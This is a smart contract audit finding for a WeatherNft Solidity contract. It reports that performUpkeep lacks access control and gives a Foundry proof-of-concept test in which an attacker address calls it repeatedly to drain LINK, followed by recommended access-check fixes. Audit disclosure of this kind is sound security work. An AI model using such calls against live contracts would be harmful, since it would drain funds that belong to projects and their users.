Summary
The performUpkeep function in the WeatherNft contract can be called by anyone, not just the Chainlink Automation network, potentially leading to unnecessary function calls and LINK consumption.
Vulnerability Details
The performUpkeep function lacks proper access control:
function performUpkeep(bytes calldata performData) external {
uint256 tokenId = abi.decode(performData, (uint256));
_sendFunctionsWeatherFetchRequest(
s_weatherNftInfo[tokenId].pincode,
s_weatherNftInfo[tokenId].isoCode
);
}
This allows any external actor to trigger weather updates for any NFT at any time, bypassing the intended automation mechanism and potentially depleting LINK tokens.
Proof of Concept
pragma solidity 0.8.29;
import "forge-std/Test.sol";
import "../src/WeatherNft.sol";
contract MissingAccessControlTest is Test {
WeatherNft public weatherNft;
address public owner;
address public attacker;
address public user;
function setUp() public {
owner = address(0x1);
attacker = address(0x2);
user = address(0x3);
vm.startPrank(owner);
weatherNft = new WeatherNft(
);
vm.stopPrank();
vm.deal(owner, 10 ether);
vm.deal(attacker, 10 ether);
vm.deal(user, 10 ether);
vm.startPrank(user);
vm.stopPrank();
}
function testUnauthorizedUpkeep() public {
uint256 initialLinkBalance = 1 ether;
vm.startPrank(attacker);
bytes memory performData = abi.encode(uint256(1));
weatherNft.performUpkeep(performData);
vm.stopPrank();
}
function testDrainLinkTokens() public {
vm.startPrank(attacker);
bytes memory performData = abi.encode(uint256(1));
for (uint i = 0; i < 10; i++) {
weatherNft.performUpkeep(performData);
}
vm.stopPrank();
}
function testBypassHeartbeat() public {
vm.startPrank(attacker);
bytes memory performData = abi.encode(uint256(1));
weatherNft.performUpkeep(performData);
vm.stopPrank();
}
}
This PoC demonstrates how an attacker could exploit the lack of access control in the performUpkeep function to:
Trigger unnecessary weather updates
Drain LINK tokens from the contract by repeatedly calling the function
Bypass the heartbeat interval that would normally be enforced by the Chainlink Automation network
Impact
Without proper access control:
Malicious actors could trigger excessive weather updates
LINK tokens allocated for automation could be depleted prematurely
The system's economic model could be undermined
Users might experience unexpected behavior with their NFTs
Recommendations
Implement proper access control for the performUpkeep function:
Restrict the function to be called only by the Chainlink Automation Registry:
function performUpkeep(bytes calldata performData) external {
require(
msg.sender == address(s_keeperRegistry),
"WeatherNft__UnauthorizedUpkeep"
);
uint256 tokenId = abi.decode(performData, (uint256));
_sendFunctionsWeatherFetchRequest(
s_weatherNftInfo[tokenId].pincode,
s_weatherNftInfo[tokenId].isoCode
);
}
If manual updates are desired, create a separate function with appropriate rate limiting:
function manualUpdate(uint256 tokenId) external {
require(ownerOf(tokenId) == msg.sender, "WeatherNft__NotOwner");
require(
block.timestamp >= s_lastUpdateTime[tokenId] + MIN_MANUAL_UPDATE_INTERVAL,
"WeatherNft__TooFrequent"
);
s_lastUpdateTime[tokenId] = block.timestamp;
_sendFunctionsWeatherFetchRequest(
s_weatherNftInfo[tokenId].pincode,
s_weatherNftInfo[tokenId].isoCode
);
}